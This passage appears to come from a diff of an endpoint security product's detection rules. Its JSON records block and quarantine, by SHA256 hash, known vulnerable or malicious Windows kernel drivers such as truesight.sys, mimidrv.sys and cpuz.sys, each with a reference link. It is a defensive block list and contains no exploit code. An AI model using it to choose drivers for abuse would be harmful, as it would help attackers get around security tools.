+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608509Z",
+  "creation_date": "2026-03-23T11:45:29.608511Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608517Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c26b51b4c37330800cff8519252e110116c3aaade94ceb9894ec5bfb1b8f9924",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f16e2754-36a2-56b0-8917-0ca513a9787b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.464274Z",
+  "creation_date": "2026-03-23T11:45:30.464277Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.464295Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ddf427ce55b36db522f638ba38e34cd7b96a04cb3c47849b91e7554bfd09a69a",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f174fe92-7627-5b5a-b372-18523243d89c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977671Z",
+  "creation_date": "2026-03-23T11:45:29.977674Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977683Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b0eb4d999e4e0e7c2e33ff081e847c87b49940eb24a9e0794c6aa9516832c427",
+  "comment": "Malicious Kernel Driver (aka ndislan.sys) [https://www.loldrivers.io/drivers/ca1e8664-841f-4e4b-9e67-3f515cc249c6/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f17a2fde-af7e-51b3-a83e-26cf8ccc52b0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822562Z",
+  "creation_date": "2026-03-23T11:45:31.822564Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822569Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "38980f591007022c8f68c2eabf2aa3cafc10c0e9c309d55b72caeb800b6b9cb3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f1807d93-e4bc-56b6-b0d4-020298ed4860",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140889Z",
+  "creation_date": "2026-03-23T11:45:31.140891Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140897Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fdc25ef91df92c829a9c6a84d113c9d2aba8a2d0e8f4216811b65b24545849a7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f18c26ff-19aa-5bb8-93f3-1f86c2ad22dd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151126Z",
+  "creation_date": "2026-03-23T11:45:31.151128Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151133Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "096b82775ee0664258be2fdbed5010df114b58bbdd5c6d2d13c19d2ad3304c3a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f18d4bae-38cb-57c7-a551-61d373e887d9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828772Z",
+  "creation_date": "2026-03-23T11:45:30.828774Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828780Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3feab99a4a150a7eac92105a60ce736a73c84959e7c219e7609e080e389e21f8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f191ff4f-7a22-52d1-b856-c97c51254e3e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.473172Z",
+  "creation_date": "2026-03-23T11:45:31.473176Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.473185Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b2728b3f04b4a6bbfcdeeecdf37658ed19efc51801b4e7bde68c874db10a5115",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f19c9e47-a87b-512a-97ef-ddc138101834",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.478731Z",
+  "creation_date": "2026-03-23T11:45:30.478734Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.478743Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3de38ef40dbda07a537a7e48cb5d59dbd17bf27d5d399b32df737cd67c0cdb25",
+  "comment": "Vulnerable Kernel Driver (aka Tmel.sys) [https://www.loldrivers.io/drivers/1aeb1205-8b02-42b6-a563-b953ea337c19/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f19fb2c4-a6c1-5285-97f0-6b468e58cceb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815561Z",
+  "creation_date": "2026-03-23T11:45:31.815563Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815569Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "14d4cb61507001029e0a38335390e1c5f67b367265fb121444bc1cedd7fc2180",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f1aa4c15-bb4d-5d04-a94f-e9c64a3c7d16",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.474146Z",
+  "creation_date": "2026-03-23T11:45:30.474150Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.474159Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e05b62738ebb09250227e87908d67a3fc74e4c684d5a86ef935243a6f0e06792",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f1b05792-b635-5a2f-bfbd-80e45e738dba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146438Z",
+  "creation_date": "2026-03-23T11:45:31.146440Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146445Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2dc643b646da999eac18f03008f15fc7a7b3fd5595421c414030f41d779a7fee",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f1b2f70b-c231-5b16-854a-5616cbf61ca8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817587Z",
+  "creation_date": "2026-03-23T11:45:31.817589Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817594Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9bfeefddca836d1ed653f58afb55c1de163ad9ad16ae2d4dd773689215700c36",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f1bd710a-5125-5dd5-a15b-063fb78c0367",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.481743Z",
+  "creation_date": "2026-03-23T11:45:31.481747Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.481757Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e1639041f4e68b08a44878dd42ea8f9123bfb61a7e551ecc4588aa15c9a108d9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f1bdc46f-a13c-5c02-85c2-286df9d3f7bd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612674Z",
+  "creation_date": "2026-03-23T11:45:29.612679Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612686Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6e64c1bbaa6b5dba3f3795f5932511f8f8a49d68d420267896e2e4e51b9d46bc",
+  "comment": "ASUS WinFlash vulnerable driver (aka ATSZIO.sys and ATSZIO64.sys) [https://github.com/Chigusa0w0/AsusDriversPrivEscala/blob/master/ATSZIO.md] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f1c3031c-2d8f-5415-81c7-7202273e1331",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146726Z",
+  "creation_date": "2026-03-23T11:45:31.146728Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146734Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3deb79134902ff1594ba01d8b3fe1b8538f6679a5bb226db6445c97b9d824fda",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f1d5f552-7b6a-5873-ab52-822835dc9a98",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619160Z",
+  "creation_date": "2026-03-23T11:45:29.619162Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619167Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a00b50cc1d95abc3ada635f331c5911d1aaf9ae8b86d359db6fc7f6fc5eb0c94",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f1d8e0a5-d166-5b0b-a346-2fb8186c760e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146583Z",
+  "creation_date": "2026-03-23T11:45:32.146585Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146590Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "89036534a3da657882da96d9f211ae41efab4083bd6dbedbeaa2516d1d04cff4",
+  "comment": "Malicious Kernel Driver (aka driver_89036534.sys) [https://www.loldrivers.io/drivers/750a8aa9-a87c-4142-b96b-18ea139ada14/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f1db1a3b-5dc5-509d-83de-0402a17b315e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.807900Z",
+  "creation_date": "2026-03-23T11:45:31.807904Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.807912Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0303bcb24f12bf45eb3dc32a339e8beb5a4b9c7061a5d8284c8d08c418ed1945",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f1dbd499-5d90-55e9-aae7-9cce5299e54c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150669Z",
+  "creation_date": "2026-03-23T11:45:31.150671Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150676Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "94955464e5e0c0d8e02fc1a834edb7b6cac474c07f55ada866de19052596ec94",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f1ddf1ca-6cf6-5487-8de0-8d7772d2f903",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.833480Z",
+  "creation_date": "2026-03-23T11:45:30.833483Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.833491Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1d4a05d39bdc3085f6ad89d075e134de712d6d291a44d4a6917d49455b6f22e8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f1e310fe-9cd0-5be8-98e4-cbb974b7a281",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830455Z",
+  "creation_date": "2026-03-23T11:45:30.830458Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830463Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2cb79703aca300534076b6a50ce979a0e2f7ef66b925d274d5f129d7326d2e4b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f1e4fa9d-1398-5c6e-8044-ca2f4bca0ce5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.830482Z",
+  "creation_date": "2026-03-23T11:45:31.830484Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
